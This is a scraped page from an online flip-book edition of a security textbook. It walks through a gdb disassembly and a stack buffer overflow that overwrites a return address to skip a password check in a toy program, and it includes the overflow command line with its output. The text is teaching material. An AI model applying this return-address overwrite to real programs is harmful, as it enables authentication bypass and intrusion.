26.07.2018 Views

hacking-the-art-of-exploitation

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

0x0804848d : mov eax,DWORD PTR [eax]<br />

0x0804848f : mov DWORD PTR [esp+4],eax<br />

0x08048493 : mov DWORD PTR [esp],0x80485e5<br />

0x0804849a : call 0x804831c <br />

0x0804849f : mov DWORD PTR [esp],0x0<br />

0x080484a6 : call 0x804833c <br />

0x080484ab : mov eax,DWORD PTR [ebp+12]<br />

0x080484ae : add eax,0x4<br />

0x080484b1 : mov eax,DWORD PTR [eax]<br />

0x080484b3 : mov DWORD PTR [esp],eax<br />

0x080484b6 : call 0x8048414 <br />

0x080484bb : test eax,eax<br />

0x080484bd : je 0x80484e5 <br />

0x080484bf : mov DWORD PTR [esp],0x80485fb<br />

0x080484c6 : call 0x804831c <br />

0x080484cb : mov DWORD PTR [esp],0x8048619<br />

0x080484d2 : call 0x804831c <br />

0x080484d7 : mov DWORD PTR [esp],0x8048630<br />

0x080484de : call 0x804831c <br />

0x080484e3 : jmp 0x80484f1 <br />

0x080484e5 : mov DWORD PTR [esp],0x804864d<br />

0x080484ec : call 0x804831c <br />

0x080484f1 : leave<br />

0x080484f2 : ret<br />

End <strong>of</strong> assembler dump.<br />

(gdb)<br />

This section <strong>of</strong> code shown in bold contains <strong>the</strong> instructions that display<br />

<strong>the</strong> Access Granted message. The beginning <strong>of</strong> this section is at 0x080484bf,<br />

so if <strong>the</strong> return address is overwritten with this value, this block <strong>of</strong> instructions<br />

will be executed. The exact distance between <strong>the</strong> return address and<br />

<strong>the</strong> st<strong>art</strong> <strong>of</strong> <strong>the</strong> password_buffer can change due to different compiler versions<br />

and different optimization flags. As long as <strong>the</strong> st<strong>art</strong> <strong>of</strong> <strong>the</strong> buffer is aligned<br />

with DWORDs on <strong>the</strong> stack, this mutability can be accounted for by simply<br />

repeating <strong>the</strong> return address many times. This way, at least one <strong>of</strong> <strong>the</strong> instances<br />

will overwrite <strong>the</strong> return address, even if it has shifted around due to compiler<br />

optimizations.<br />

reader@<strong>hacking</strong>:~/booksrc $ ./auth_overflow2 $(perl -e 'print "\xbf\x84\x04\x08"x10')<br />

-=-=-=-=-=-=-=-=-=-=-=-=-=-<br />

Access Granted.<br />

-=-=-=-=-=-=-=-=-=-=-=-=-=-<br />

Segmentation fault (core dumped)<br />

reader@<strong>hacking</strong>:~/booksrc $<br />

In <strong>the</strong> example above, <strong>the</strong> target address <strong>of</strong> 0x080484bf is repeated 10 times<br />

to ensure <strong>the</strong> return address is overwritten with <strong>the</strong> new target address. When<br />

<strong>the</strong> check_au<strong>the</strong>ntication() function returns, execution jumps directly to <strong>the</strong><br />

new target address instead <strong>of</strong> returning to <strong>the</strong> next instruction after <strong>the</strong> call.<br />

This gives us more control; however, we are still limited to using instructions<br />

that exist in <strong>the</strong> original programming.<br />

136 0x300

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!